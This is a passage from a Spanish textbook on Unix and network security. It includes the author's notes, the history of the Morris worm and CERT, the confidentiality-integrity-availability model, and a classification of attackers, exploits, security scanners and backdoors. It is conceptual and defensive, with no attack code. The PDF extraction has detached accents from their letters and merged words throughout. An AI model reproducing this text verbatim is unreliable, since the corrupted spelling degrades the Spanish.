  • Notas del autorEl mundo de la seguridad inform´tica es demasiado amplio y complejo como para ser tratado ex- ahaustivamente en ning´n trabajo, mucho menos en uno tan simple como este; aqu´ unicamente u ı ´he intentado resumir una visi´n global de diferentes aspectos relacionados con la seguridad, espe- ocialmente con Unix y redes de computadores (estas ultimas tan de moda hoy en d´ . . Unix por ´ ıa.desgracia no tanto). Este trabajo est´ casi completamente extra´ de mi proyecto final de carrera, a ıdoque estudiaba la seguridad en los sistemas Unix y la red de la Universidad Polit´cnica de Valencia e(UPV), de forma que si aparece alguna referencia a ‘nuestra red’ o ‘nuestros equipos’ – aunquehe intentado eliminar todos los ejemplos y comentarios relativos a UPV, por motivos obvios – yasabemos de qu´ se trata. A pesar de haberlo revisado bastantes veces (lo bueno de no tener vida esocial es que uno tiene mucho tiempo para leer ;-), evidentemente existir´n errores y faltar´n datos a aque podr´ haber aparecido, por lo que agradecer´ cualquier sugerencia o cr´ ıan e ıtica (constructiva, lasdestructivas directamente a /dev/null) que se me quiera hacer. Para ponerse en contacto conmigose puede utilizar la direcci´n de correo electr´nico que utilizo habitualmente: toni@aiind.upv.es. o oDurante la realizaci´n de este proyecto ni se han maltratado animales ni se han utilizado pro- oductos Microsoft; personalmente, siempre he considerado rid´ ıculo hablar de seguridad en Unix –incluso de seguridad en general – y hacerlo utilizando productos de una compa˜´ que tantas veces nıaha demostrado su desinter´s por la tecnolog´ frente a su inter´s por el marketing. El trabajo entero e ıa eha sido creado sobre diversos clones de Unix (principalmente Solaris y Linux, y en menor medidaHP-UX, BSD/OS, IRIX e incluso Minix). El texto ha sido escrito ´ ıntegramente con vi (vi es ELeditor, el resto de editores no son vi ;-) y compuesto con L TEX, de Leslie Lamport; realmente, Aalgunos fragmentos han sido extra´ ıdos de documentos que hice hace tiempo con troff (s´ troff), ı,de Joe Ossanna y Brian Kernighan, transformados a L TEX mediante tr2tex, de Kamal Al–Yahya, Ay retocados con algo de paciencia. Para las figuras simples he utilizado el lenguaje PIC, tambi´n de eBrian Kernighan, y para las que son m´s complejas xfig. La captura de alguna pantalla se ha he- acho con xwd y gimp, y el retoque y transformaci´n de im´genes con este ultimo junto a xv y xpaint. o a ´Quiero agradecer desde aqu´ la colaboraci´n desinteresada de algunas personas que han hecho ı oposible este trabajo (m´s concretamente, que hicieron posible mi proyecto final de carrera): Pe- adro L´pez (Departamento de Inform´tica de Sistemas y Computadores, UPV), Jon Ander G´mez o a o(Departamento de Sistemas Inform´ticos y Computaci´n, UPV), Vicent Benet (Centro de C´lculo, a o aUPV), Jos´ Manuel Pasamar (Centro de C´lculo, UPV) y Albert Ortiz (Universitat Polit`cnica de e a eCatalunya). Y por supuesto a mi director, Ismael Ripoll (Departamento de Inform´tica de Sistemas ay Computadores, UPV).Tras publicar la versi´n 1.0 de este trabajo, algunos de los primeros comentarios que se me han ohecho trataban sobre los posibles problemas legales derivados de la falta de una licencia para eldocumento; desconozco hasta qu´ punto esos problemas son reales, pero de cualquier forma para etratar de evitarlos he decidido adoptar la Open Publication License como formato de licencia bajola que distribuir mi trabajo, al menos de forma temporal. Eso b´sicamente implica (en castellano aplano) que puedes imprimir el documento, leerlo, fotocopiarlo, regalarlo o similares, pero no ven-derlo; este trabajo es gratuito y pretendo que lo siga siendo. Si alguien lo encuentra util, que me ´apoye moralmente con un e-mail :), y si alguien lo encuentra muy util (lo dudo) que destine el ´ xiii
  • xiv NOTAS DEL AUTORdinero que crea que pagar´ por esto a cosas m´s utiles. ¿Sab´ que cada minuto mueren de hambre ıa a ´ ıasaproximadamente doce ni˜os en el tercer mundo? En el tiempo que te puede costar leer estas notas ncon un m´ınimo de inter´s habr´n muerto unos veinticinco; mientras que nosotros nos preocupamos e aintentando proteger nuestros sistemas, hay millones de personas que no pueden perder el tiempoen esas cosas: est´n demasiado ocupadas intentando sobrevivir. aAh, por ultimo, ser´ imperdonable no dar las gracias a la gente que ha le´ este trabajo y me ha ´ ıa ıdoinformado de erratas que hab´ en ´l; he intentado corregir todos los fallos encontrados, pero a´n ıa e uhabr´ errores, por lo que repito lo que dec´ al principio: todos los comentarios constructivos son a ıasiempre bienvenidos. Debo agradecer especialmente a David Cerezo el inter´s que ha demostrado een este documento, as´ como todas las observaciones que sobre el mismo me ha hecho llegar. ıTODOLas principales modificaciones en las que estoy trabajando consisten en la ampliaci´n de algunos ocap´ ıtulos (por ejemplo, el de pol´ıticas de seguridad o el de criptograf´ıa). Tambi´n intento crear eun cap´ıtulo dedicado a los sistemas de detecci´n de intrusos, otro a las redes privadas virtuales, y oadem´s introducir la seguridad de mecanismos como DNS, NIS, RPC o NFS. Por supuesto, cual- aquier consejo o ayuda es bienvenida ;-)HISTORYVersi´n 1.0 (Julio´00): Documento inicial. oVersi´n 1.1 (Agosto´00): Peque˜as correcciones e inclusi´n de la Open Publication License. o n oVersi´n 1.2 (Septiembre´00): M´s correcciones. Ampliaci´n del cap´ o a o ıtulo dedicado a servicios dered.
  • Cap´ ıtulo 1Introducci´n y conceptos previos o1.1 Introducci´n oHasta finales de 1988 muy poca gente tomaba en serio el tema de la seguridad en redes de computa-dores de prop´sito general. Mientras que por una parte Internet iba creciendo exponencialmente con oredes importantes que se adher´ a ella, como bitnet o hepnet, por otra el auge de la inform´tica ıan ade consumo (hasta la d´cada de los ochenta muy poca gente se pod´ permitir un ordenador y un e ıam´dem en casa) unido a factores menos t´cnicos (como la pel´ o e ıcula Juegos de Guerra, de 1983) ibaproduciendo un aumento espectacular en el n´mero de piratas inform´ticos. u aSin embargo, el 22 de noviembre de 1988 Robert T. Morris protagoniz´ el primer gran inciden- ote de la seguridad inform´tica: uno de sus programas se convirti´ en el famoso worm o gusano de a oInternet. Miles de ordenadores conectados a la red se vieron inutilizados durante d´ y las p´rdidas ıas, ese estiman en millones de d´lares. Desde ese momento el tema de la seguridad en sistemas operati- ovos y redes ha sido un factor a tener muy en cuenta por cualquier responsable o administrador desistemas inform´ticos. Poco despu´s de este incidente, y a la vista de los potenciales peligros que a epod´ entra˜ar un fallo o un ataque a los sistemas inform´ticos estadounidenses (en general, a los ıa n asistemas de cualquier pa´ la agencia darpa (Defense Advanced Research Projects Agency) cre´ el ıs) ocert (Computer Emergency Response Team), un grupo formado en su mayor parte por voluntarioscualificados de la comunidad inform´tica, cuyo objetivo principal es facilitar una respuesta r´pida a aa los problemas de seguridad que afecten a hosts de Internet ([Den90]).Han pasado m´s de diez a˜os desde la creaci´n del primer cert, y cada d´ se hace patente la a n o ıapreocupaci´n por los temas relativos a la seguridad en la red y sus equipos, y tambi´n se hace o epatente la necesidad de esta seguridad. Los piratas de anta˜o casi han desaparecido, dando paso a nnuevas generaciones de intrusos que forman grupos como Chaos Computer Club o Legion of Doom,organizan encuentros como el espa˜ol Iberhack, y editan revistas o zines electr´nicos (2600: The n oHacker’s Quartely o Phrack son quiz´s las m´s conocidas, pero no las unicas). Todo esto con un a a ´objetivo principal: compartir conocimientos. Si hace unos a˜os cualquiera que quisiera adentrarse nen el mundo underground casi no ten´ m´s remedio que conectar a alguna BBS donde se tratara ıa ael tema, generalmente con una cantidad de informaci´n muy limitada, hoy en d´ tiene a su dis- o ıaposici´n gigabytes de informaci´n electr´nica publicada en Internet; cualquier aprendiz de pirata o o opuede conectarse a un servidor web, descargar un par de programas y ejecutarlos contra un servidordesprotegido... con un poco de (mala) suerte, esa misma persona puede conseguir un control totalsobre un servidor Unix de varios millones de pesetas, probablemente desde su PC con Windows 98y sin saber nada sobre Unix. De la misma forma que en su d´ Juegos de Guerra cre´ una nueva ıa ogeneraci´n de piratas, en la segunda mitad de los noventa pel´ o ıculas como The Net, Hackers o LosCorsarios del Chip han creado otra generaci´n, en general mucho menos peligrosa que la anterior, opero cuanto menos, preocupante: aunque sin grandes conocimientos t´cnicos, tienen a su dispo- esici´n multitud de programas y documentos sobre seguridad (algo que los piratas de los ochenta o 1
  • 2 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOSapenas pod´ imaginar), adem´s de ordenadores potentes y conexiones a Internet baratas. Por si ıan aesto fuera poco, se ven envalentonados a trav´s de sistemas de conversaci´n como el IRC (Internet e oRelay Chat), donde en canales como #hack o #hackers presumen de sus logros ante sus colegas.1.2 Justificaci´n y objetivos oA la vista de lo comentado en el primer punto, parece claro que la seguridad de los equipos Unixha de ser algo a considerar en cualquier red. Diariamente por cualquiera de ellas circulan todo tipode datos, entre ellos muchos que se podr´ catalogar como confidenciales (n´minas, expedientes, ıan opresupuestos. . . ) o al menos como privados (correo electr´nico, proyectos de investigaci´n, art´ o o ıculosa punto de ser publicados. . . ). Independientemente de la etiqueta que cada usuario de la red quieracolgarle a sus datos, parece claro que un fallo de seguridad de un equipo Unix o de la propia redno beneficia a nadie, y mucho menos a la imagen de nuestra organizaci´n. Y ya no se trata simple- omente de una cuesti´n de imagen: seg´n el Computer Security Institute, en su encuesta de 1998, las o up´rdidas econ´micas ocasionadas por delitos relacionados con nuevas tecnolog´ (principalmente e o ıasaccesos internos no autorizados) s´lo en Estados Unidos ascienden anualmente a m´s 20.000 millo- o anes de pesetas, cifra que cada a˜o se incrementa en m´s del 35%; los delitos inform´ticos en general n a aaumentan tambi´n de forma espectacular a˜o tras a˜o, alcanzando incluso cotas del 800% ([Caj82]). e n nA lo largo de este trabajo se va a intentar hacer un repaso de los puntos habituales referentesa seguridad en Unix y redes de computadores (problemas, ataques, defensas. . . ), aplicando el estu-dio a entornos con requisitos de seguridad medios (universidades, empresas, proveedores de acceso aInternet. . . ); de esta forma se ofrecer´ una perspectiva general de la seguridad en entornos Unix, el afuncionamiento de sus mecanismos, y su correcta utilizaci´n. Tambi´n se hablar´, en menor medi- o e ada, sobre temas menos t´cnicos pero que tambi´n afectan directamente a la seguridad inform´tica, e e acomo puedan ser el problema del personal o la legislaci´n vigente. oEl objetivo final de este proyecto ser´ marcar unas pautas para conseguir un nivel de seguri- ıadad aceptable en los sistemas Unix conectados en cualquier red, entendiendo por ‘aceptable’ unnivel de protecci´n suficiente para que la mayor´ de potenciales intrusos interesados en los equipos o ıade nuestra organizaci´n fracasara ante un ataque contra los mismos. Obviamente, es imposible ogarantizar una plena seguridad ante cualquier atacante: seguramente un pirata experimentado, conel tiempo suficiente, pagado, o simplemente muy interesado en uno de nuestros equipos, no tendr´ ıamuchos problemas en acceder a ´l. Este hecho, aunque preocupante, es casi inevitable; lo evitable ees que cualquier persona sea capaz de atacar con ´xito un equipo simplemente por haber visto una epel´ıcula, descargado un par de p´ginas web y ejecutado un programa que ni ha hecho ni entiende. aPor supuesto, este proyecto no pretende ser en ning´n momento una ayuda para la gente que est´ u einteresada en atacar m´quinas Unix o subredes completas, ni tampoco una invitaci´n a hacerlo. a oAunque por su naturaleza la informaci´n aqu´ presentada puede ser utilizada para da˜ar sistemas o ı ninform´ticos (como cualquier informaci´n sobre seguridad inform´tica), no es ese su prop´sito sino, a o a ocomo hemos dicho, incrementar la seguridad de los sistemas Unix y las redes en las que ´stos se eubican. Por tanto va a intentar estar escrito de forma que no se pueda utilizar f´cilmente como auna ‘receta de cocina’ para crackers; si alguien quiere un documento sobre c´mo atacar sistemas, opuede dejar de leer este trabajo y buscar en Internet informaci´n sobre ese tema. Conseguir rom- oper la seguridad de un sistema de forma no autorizada es, en la mayor´ de los casos, un s´ ıa ımbolode inmadurez, y por supuesto ni denota inteligencia ni unos excesivos conocimientos: si alguiense considera superior por acceder ilegalmente a una m´quina utilizando un programa que ni ha ahecho ni es capaz de entender, que revise sus principios, y si tras hacerlo a´n piensa lo mismo, que udedique su inteligencia y sus conocimientos a tareas que ayuden a incrementar la seguridad, comola construcci´n de sistemas de autenticaci´n fiables y baratos o el dise˜o de nuevos criptosistemas o o nseguros. Eso es seguridad inform´tica, y no lo que habitualmente se nos quiere hacer creer: la aseguridad inform´tica no consiste en conocerse todos los bugs de un sistema operativo, con sus a
  • ´1.3. ¿QUE ES SEGURIDAD? 3correspondientes exploits ni en jugar a superjakers en canales de IRC. Lamentablemente, este es elpanorama de la seguridad m´s visible en Espa˜a en la actualidad; esperemos que alg´n d´ cambie. a n u ıa1.3 ¿Qu´ es seguridad? ePodemos entender como seguridad una caracter´ ıstica de cualquier sistema (inform´tico o no) que anos indica que ese sistema est´ libre de todo peligro, da˜o o riesgo, y que es, en cierta manera, a ninfalible. Como esta caracter´ ıstica, particularizando para el caso de sistemas operativos o redes decomputadores, es muy dif´ de conseguir (seg´n la mayor´ de expertos, imposible), se suaviza ıcil u ıala definici´n de seguridad y se pasa a hablar de fiabilidad (probabilidad de que un sistema se ocomporte tal y como se espera de ´l) m´s que de seguridad; por tanto, se habla de sistemas fiables e aen lugar de hacerlo de sistemas seguros.A grandes rasgos se entiende que mantener un sistema seguro (o fiable) consiste b´sicamente en agarantizar tres aspectos ([Pfl97]): confidencialidad, integridad y disponibilidad. Algunos estudios([Lap91],[Olo92]. . . ) integran la seguridad dentro de una propiedad m´s general de los sistemas, ala confiabilidad, entendida como el nivel de calidad del servicio ofrecido. Consideran la dispo-nibilidad como un aspecto al mismo nivel que la seguridad y no como parte de ella, por lo quedividen esta ultima en s´lo las dos facetas restantes, confidencialidad e integridad. En este trabajo ´ ono seguiremos esa corriente por considerarla minoritaria.¿Qu´ implica cada uno de los tres aspectos de los que hablamos? La confidencialidad nos di- ece que los objetos de un sistema han de ser accedidos unicamente por elementos autorizados a ´ello, y que esos elementos autorizados no van a convertir esa informaci´n en disponible para otras oentidades; la integridad significa que los objetos s´lo pueden ser modificados1 por elementos au- otorizados, y de una manera controlada, y la disponibilidad indica que los objetos del sistematienen que permanecer accesibles a elementos autorizados; es el contrario de la negaci´n de ser- ovicio. Generalmente tienen que existir los tres aspectos descritos para que haya seguridad: unsistema Unix puede conseguir confidencialidad para un determinado fichero haciendo que ning´n uusuario (ni siquiera el root) pueda leerlo, pero este mecanismo no proporciona disponibilidad alguna.Dependiendo del entorno en que un sistema Unix trabaje, a sus responsables les interesar´ dar aprioridad a un cierto aspecto de la seguridad. Por ejemplo, en un sistema militar se antepondr´ laaconfidencialidad de los datos almacenados o transmitidos sobre su disponibilidad: seguramente, espreferible que alguien borre informaci´n confidencial (que se podr´ recuperar despu´s desde una o ıa ecinta de backup) a que ese mismo atacante pueda leerla, o a que esa informaci´n est´ disponible en o eun instante dado para los usuarios autorizados. En cambio, en un servidor NFS de un departamentose premiar´ la disponibilidad frente a la confidencialidad: importa poco que un atacante lea una aunidad, pero que esa misma unidad no sea le´ por usuarios autorizados va a suponer una p´rdida ıda ede tiempo y dinero. En un entorno bancario, la faceta que m´s ha de preocupar a los responsables adel sistema es la integridad de los datos, frente a su disponibilidad o su confidencialidad: es menosgrave2 que un usuario consiga leer el saldo de otro que el hecho de que ese usuario pueda modificarlo.1.4 ¿Qu´ queremos proteger? eLos tres elementos principales a proteger en cualquier sistema inform´tico son el software, el hard- aware y los datos. Por hardware entendemos el conjunto formado por todos los elementos f´ ısicos deun sistema inform´tico, como CPUs, terminales, cableado, medios de almacenamiento secundario a(cintas, CD-ROMs, diskettes. . . ) o tarjetas de red. Por software entendemos el conjunto de pro-gramas l´gicos que hacen funcional al hardware, tanto sistemas operativos como aplicaciones, y por odatos el conjunto de informaci´n l´gica que manejan el software y el hardware, como por ejemplo o o 1 Por modificar entendemos escribir, cambiar, cambiar el estado, borrar y crear. 2 Aunque por supuesto no es en absoluto recomendable.
  • 4 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOSpaquetes que circulan por un cable de red o entradas de una base de datos. Aunque generalmenteen las auditor´ de seguridad se habla de un cuarto elemento a proteger, los fungibles (elementos ıasque se gastan o desgastan con el uso cont´ ınuo, como papel de impresora, t´ners, cintas magn´ticas, o ediskettes. . . ), aqu´ no consideraremos la seguridad de estos elementos por ser externos al sistema ıUnix.Habitualmente los datos constituyen el principal elemento de los tres a proteger, ya que es elm´s amenazado y seguramente el m´s dif´ de recuperar3 : con toda seguridad una m´quina Unix a a ıcil aest´ ubicada en un lugar de acceso f´ a ısico restringido, o al menos controlado, y adem´s en caso de ap´rdida de una aplicaci´n (o un programa de sistema, o el propio n´cleo de Unix) este software se e o upuede restaurar sin problemas desde su medio original (por ejemplo, el CD-ROM con el sistemaoperativo que se utiliz´ para su instalaci´n). Sin embargo, en caso de p´rdida de una base de datos o o eo de un proyecto de un usuario, no tenemos un medio ‘original’ desde el que restaurar: hemosde pasar obligatoriamente por un sistema de copias de seguridad, y a menos que la pol´ ıtica de co-pias sea muy estricta, es dif´ devolver los datos al estado en que se encontraban antes de la p´rdida. ıcil eContra cualquiera de los tres elementos descritos anteriormente (pero principalmente sobre losdatos) se pueden realizar multitud de ataques o, dicho de otra forma, est´n expuestos a diferentes aamenazas. Generalmente, la taxonom´ m´s elemental de estas amenazas las divide en cuatro gran- ıa ades grupos: interrupci´n, interceptaci´n, modificaci´n y fabricaci´n. Un ataque se clasifica como o o o ointerrupci´n si hace que un objeto del sistema se pierda, quede inutilizable o no disponible. Se otratar´ de una interceptaci´n si un elemento no autorizado consigue un acceso a un determinado a oobjeto del sistema, y de una modificaci´n si adem´s de conseguir el acceso consigue modificar el o aobjeto; algunos autores ([Olo92]) consideran un caso especial de la modificaci´n: la destrucci´n, o oentendi´ndola como una modificaci´n que inutiliza al objeto afectado. Por ultimo, se dice que un e o ´ataque es una fabricaci´n si se trata de una modificaci´n destinada a conseguir un objeto similar o oal atacado de forma que sea dif´ distinguir entre el objeto original y el ‘fabricado’. En la figura ıcil1.1 se muestran estos tipos de ataque de una forma gr´fica. a1.5 ¿De qu´ nos queremos proteger? eEn la gran mayor´ de publicaciones relativas a la seguridad inform´tica en general, y especialmente ıa aen las relativas a seguridad en Unix, tarde o temprano se intenta clasificar en grupos a los posibleselementos que pueden atacar nuestro sistema. Con frecuencia, especialmente en las obras menost´cnicas y m´s orientadas a otros aspectos de la seguridad ([ISV95], [Mey89]. . . ), se suele identificar e aa los atacantes unicamente como personas; esto tiene sentido si hablamos por ejemplo de respon- ´sabilidades por un delito inform´tico. Pero en este trabajo es preferible hablar de ‘elementos’ y no ade personas: aunque a veces lo olvidemos, nuestro sistema puede verse perjudicado por m´ltiples uentidades aparte de humanos, como por ejemplo programas, cat´strofes naturales o, por qu´ no, a efuerzas extraterrestres; si un usuario pierde un trabajo importante a causa de un ataque, poco leimportar´ que haya sido un intruso, un gusano, un simple error del administrador, o un alien que ahaya abducido un disco duro. . .A continuaci´n se presenta una relaci´n de los elementos que potencialmente pueden amenazar o oa nuestro sistema. No pretende ser exhaustiva, ni por supuesto una taxonom´ formal (para este ıatipo de estudios, se recomienda consultar [LBMC94] o [AKS96]); simplemente trata de proporcionaruna idea acerca de qu´ o qui´n amenaza un sistema Unix. A lo largo de este proyecto se ahondar´ e e aen aspectos de algunos de los elementos presentados aqu´ ı. 3 Quiz´s a no el m´s caro, pero s´ el m´s dif´ a ı a ıcil.
  • ´1.5. ¿DE QUE NOS QUEREMOS PROTEGER? 5 (a) (b) (c) (d)Figura 1.1: Flujo normal de informaci´n entre emisor y receptor y posibles amenazas: (a) inter- orupci´n, (b) interceptaci´n, (c) modificaci´n y (d) fabricaci´n. o o o o1.5.1 PersonasNo podernos enga˜arnos: la mayor´ de ataques a nuestro sistema van a provenir en ultima ins- n ıa ´tancia de personas que, intencionada o inintencionadamente, pueden causarnos enormes p´rdidas. eGeneralmente se tratar´ de piratas que intentan conseguir el m´ximo nivel de privilegio posible a aaprovechando alguno (o algunos) de los riesgos l´gicos de los que hablaremos a continuaci´n, es- o opecialmente agujeros del software. Pero con demasiada frecuencia se suele olvidar que los piratas‘cl´sicos’ no son los unicos que amenazan nuestros equipos: es especialmente preocupante que a ´mientras que hoy en d´ cualquier administrador m´ ıa ınimamente preocupado por la seguridad va aconseguir un sistema relativamente fiable de una forma l´gica (permaneciendo atento a vulnerabili- odades de su software, restringiendo servicios, utilizando cifrado de datos. . . ), pocos administradorestienen en cuenta factores como la ingenier´ social o el basureo a la hora de dise˜ar una pol´ ıa n ıtica deseguridad.Aqu´ se describen brevemente los diferentes tipos de personas que de una u otra forma pueden ıconstituir un riesgo para nuestros sistemas; generalmente se dividen en dos grandes grupos: losatacantes pasivos, aquellos que fisgonean por el sistema pero no lo modifican -o destruyen-, y losactivos, aquellos que da˜an el objetivo atacado, o lo modifican en su favor. Generalmente los ncuriosos y los crackers realizan ataques pasivos (que se pueden convertir en activos), mientras quelos terroristas y ex-empleados realizan ataques activos puros; los intrusos remunerados suelen seratacantes pasivos si nuestra red o equipo no es su objetivo, y activos en caso contrario, y el personalrealiza ambos tipos indistintamente, dependiendo de la situaci´n concreta. o • Personal Las amenazas a la seguridad de un sistema provenientes del personal de la propia organizaci´n o
  • 6 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS rara vez son tomadas en cuenta; se presupone un entorno de confianza donde a veces no existe, por lo que se pasa por alto el hecho de que casi cualquier persona de la organizaci´n, incluso el o personal ajeno a la infraestructura inform´tica (secretariado, personal de seguridad, personal a de limpieza y mantenimiento. . . ) puede comprometer la seguridad de los equipos. Aunque los ataques pueden ser intencionados (en cuyo caso sus efectos son extremadamente da˜inos, recordemos que nadie mejor que el propio personal de la organizaci´n conoce mejor n o los sistemas. . . y sus debilidades), lo normal es que m´s que de ataques se trate de accidentes a causados por un error o por desconocimiento4 de las normas b´sicas de seguridad: un empleado a de mantenimiento que corta el suministro el´ctrico para hacer una reparaci´n puede llegar a e o ser tan peligroso como el m´s experto de los administradores que se equivoca al teclear una a orden y borra todos los sistemas de ficheros; y en el primer caso, el ‘atacante’ ni siquiera ha de tener acceso l´gico (¡ni f´ o ısico!) a los equipos, ni conocer nada sobre seguridad en Unix. Hemos de recordar siempre que decir ‘No lo hice a prop´sito’ no va a servir para recuperar o datos perdidos ni para restaurar un hardware da˜ado o robado. n • Ex-empleados Otro gran grupo de personas potencialmente interesadas en atacar nuestro sistema son los antiguos empleados del mismo, especialmente los que no abandonaron el entorno por voluntad propia (y en el caso de redes de empresas, los que pasaron a la competencia). Generalmente, se trata de personas descontentas con la organizaci´n que pueden aprovechar debilidades de o un sistema que conocen perfectamente para da˜arlo como venganza por alg´n hecho que no n u consideran justo: amparados en excusas como ‘No me han pagado lo que me deben’ o ‘Es una gran universidad, se lo pueden permitir’ pueden insertar troyanos, bombas l´gicas, virus. . . o o simplemente conectarse al sistema como si a´n trabajaran para la organizaci´n (muchas veces u o se mantienen las cuentas abiertas incluso meses despu´s de abandonar la universidad o empre- e sa), conseguir el privilegio necesario, y da˜arlo de la forma que deseen, incluso chantajeando n a sus ex-compa˜eros o ex-jefes. n • Curiosos Junto con los crackers, los curiosos son los atacantes m´s habituales de sistemas Unix en a redes de I+D. Recordemos que los equipos est´n trabajando en entornos donde se forma a a futuros profesionales de la inform´tica y las telecomunicaciones (gente que a priori tiene a inter´s por las nuevas tecnolog´ e ıas), y recordemos tambi´n que las personas suelen ser curiosas e por naturaleza; esta combinaci´n produce una avalancha de estudiantes o personal intentando o conseguir mayor privilegio del que tienen o intentando acceder a sistemas a los que oficialmente no tienen acceso. Y en la mayor´ de ocasiones esto se hace simplemente para leer el correo ıa de un amigo, enterarse de cu´nto cobra un compa˜ero, copiar un trabajo o comprobar que es a n posible romper la seguridad de un sistema concreto. Aunque en la mayor´ de situaciones se ıa trata de ataques no destructivos (a excepci´n del borrado de huellas para evitar la detecci´n), o o parece claro que no benefician en absoluto al entorno de fiabilidad que podamos generar en un determinado sistema. • Crackers Los entornos de seguridad media son un objetivo t´ ıpico de los intrusos, ya sea para fisgonear, para utilizarlas como enlace hacia otras redes o simplemente por diversi´n. Por un lado, o son redes generalmente abiertas, y la seguridad no es un factor tenido muy en cuenta en ellas; por otro, el gran n´mero y variedad de sistemas Unix conectados a estas redes provoca, u casi por simple probabilidad, que al menos algunos de sus equipos (cuando no la mayor´ ıa) sean vulnerables a problemas conocidos de antemano. De esta forma un atacante s´lo ha o de utilizar un esc´ner de seguridad contra el dominio completo y luego atacar mediante un a simple exploit los equipos que presentan vulnerabilidades; esto convierte a las redes de I+D, a las de empresas, o a las de ISPs en un objetivo f´cil y apetecible para piratas con cualquier a nivel de conocimientos, desde los m´s novatos (y a veces m´s peligrosos) hasta los expertos, a a que pueden utilizar toda la red para probar nuevos ataques o como nodo intermedio en un 4O inexistencia.
  • ´1.5. ¿DE QUE NOS QUEREMOS PROTEGER? 7 ataque a otros organismos, con el consiguiente deterioro de imagen (y a veces de presupuesto) que supone para una universidad ser, sin desearlo, un apoyo a los piratas que atacan sistemas te´ricamente m´s protegidos, como los militares. o a • Terroristas Por ‘terroristas’ no debemos entender simplemente a los que se dedican a poner bombas o quemar autobuses; bajo esta definici´n se engloba a cualquier persona que ataca al sistema o simplemente por causar alg´n tipo de da˜o en ´l. Por ejemplo, alguien puede intentar borrar u n e las bases de datos de un partido pol´ıtico enemigo o destruir los sistemas de ficheros de un servidor que alberga p´ginas web de alg´n grupo religioso; en el caso de redes de I+D, t´ a u ıpicos ataques son la destrucci´n de sistemas de pr´cticas o la modificaci´n de p´ginas web de alg´n o a o a u departamento o de ciertos profesores, generalmente por parte de alumnos descontentos. • Intrusos remunerados Este es el grupo de atacantes de un sistema m´s peligroso, aunque por fortuna el menos a habitual en redes normales; suele afectar m´s a las grandes – muy grandes – empresas o a a organismos de defensa. Se trata de piratas con gran experiencia en problemas de seguridad y un amplio conocimiento del sistema, que son pagados por una tercera parte5 generalmente para robar secretos (el nuevo dise˜o de un procesador, una base de datos de clientes, informaci´n n o confidencial sobre las posiciones de sat´lites esp´ . . ) o simplemente para da˜ar la imagen e ıa. n de la entidad afectada. Esta tercera parte suele ser una empresa de la competencia o un organismo de inteligencia, es decir, una organizaci´n que puede permitirse un gran gasto en o el ataque; de ah´ su peligrosidad: se suele pagar bien a los mejores piratas, y por si esto fuera ı poco los atacantes van a tener todos los medios necesarios a su alcance. Aunque como hemos dicho los intrusos remunerados son los menos comunes en la mayor´ de ıa situaciones, en ciertas circunstancias pueden aprovechar nuestras redes como plataforma para atacar otros organismos; una excelente lectura sobre esta situaci´n es [Sto89], en la que el o experto en seguridad Cliff Stoll describe c´mo piratas pagados por el KGB sovi´tico utilizaron o e redes y sistemas Unix dedicados a I+D para acceder a organismos de defensa e inteligencia estadounidenses.1.5.2 Amenazas l´gicas oBajo la etiqueta de ‘amenazas l´gicas’ encontramos todo tipo de programas que de una forma u ootra pueden da˜ar a nuestro sistema, creados de forma intencionada para ello (software malicioso, ntambi´n conocido como malware) o simplemente por error (bugs o agujeros). Una excelente lectura eque estudia las definiciones de algunas de estas amenazas y su implicaci´n en el sistema Unix se opresenta en [GS96]; otra buena descripci´n, pero a un nivel m´s general, se puede encontrar en o a[Par81]. • Software incorrecto Las amenazas m´s habituales a un sistema Unix provienen de errores cometidos de forma a involuntaria por los programadores de sistemas o de aplicaciones. Una situaci´n no contem- o plada a la hora de dise˜ar el sistema de red del kernel o un error accediendo a memoria en un n fichero setuidado pueden comprometer local o remotamente a Unix (o a cualquier otro sistema operativo). A estos errores de programaci´n se les denomina bugs, y a los programas utilizados para apro- o vechar uno de estos fallos y atacar al sistema, exploits. Como hemos dicho, representan la amenaza m´s com´n contra Unix, ya que cualquiera puede conseguir un exploit y utilizarlo a u contra nuestra m´quina sin ni siquiera saber c´mo funciona y sin unos conocimientos m´ a o ınimos de Unix; incluso hay exploits que da˜an seriamente la integridad de un sistema (negaciones de n servicio o incluso acceso root remoto) y est´n preparados para ser utilizados desde MS-DOS, a con lo que cualquier pirata novato (com´nmente, se les denomina Script Kiddies) puede uti- u lizarlos contra un servidor y conseguir un control total de una m´quina de varios millones de a 5 Si los pagara la organizaci´n propietaria de los equipos hablar´ o ıamos de grupos Tigre.
  • 8 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS pesetas desde su PC sin saber nada del sistema atacado; incluso hay situaciones en las que se analizan los logs de estos ataques y se descubre que el pirata incluso intenta ejecutar ´rdenes o de MS-DOS. • Herramientas de seguridad Cualquier herramienta de seguridad representa un arma de doble filo: de la misma forma que un administrador las utiliza para detectar y solucionar fallos en sus sistemas o en la subred completa, un potencial intruso las puede utilizar para detectar esos mismos fallos y aprovecharlos para atacar los equipos. Herramientas como nessus, saint o satan pasan de ser utiles a ser peligrosas cuando las utilizan crackers que buscan informaci´n sobre las ´ o vulnerabilidades de un host o de una red completa. La conveniencia de dise˜ar y distribuir libremente herramientas que puedan facilitar un ataque n es un tema peliagudo; incluso expertos reconocidos como Alec Muffet (autor del adivinador de contrase˜as Crack) han recibido enormes cr´ n ıticas por dise˜ar determinadas herramientas de n seguridad para Unix. Tras numerosos debates sobre el tema, ha quedado bastante claro que no se puede basar la seguridad de un sistema en el supuesto desconocimiento de sus problemas por ıtica, denominada Security through obscurity, se ha demostrado parte de los atacantes: esta pol´ inservible en m´ltiples ocasiones. Si como administradores no utilizamos herramientas de u seguridad que muestren las debilidades de nuestros sistemas (para corregirlas), tenemos que estar seguro que un atacante no va a dudar en utilizar tales herramientas (para explotar las debilidades encontradas); por tanto, hemos de agradecer a los dise˜adores de tales programas n el esfuerzo que han realizado (y nos han ahorrado) en pro de sistemas m´s seguros. a • Puertas traseras Durante el desarrollo de aplicaciones grandes o de sistemas operativos es habitual entre los programadores insertar ‘atajos’ en los sistemas habituales de autenticaci´n del programa o o del n´cleo que se est´ dise˜ando. A estos atajos se les denomina puertas traseras, y con u a n ellos se consigue mayor velocidad a la hora de detectar y depurar fallos: por ejemplo, los dise˜adores de un software de gesti´n de bases de datos en el que para acceder a una tabla n o se necesiten cuatro claves diferentes de diez caracteres cada una pueden insertar una rutina para conseguir ese acceso mediante una unica clave ‘especial’, con el objetivo de perder menos ´ tiempo al depurar el sistema. Algunos 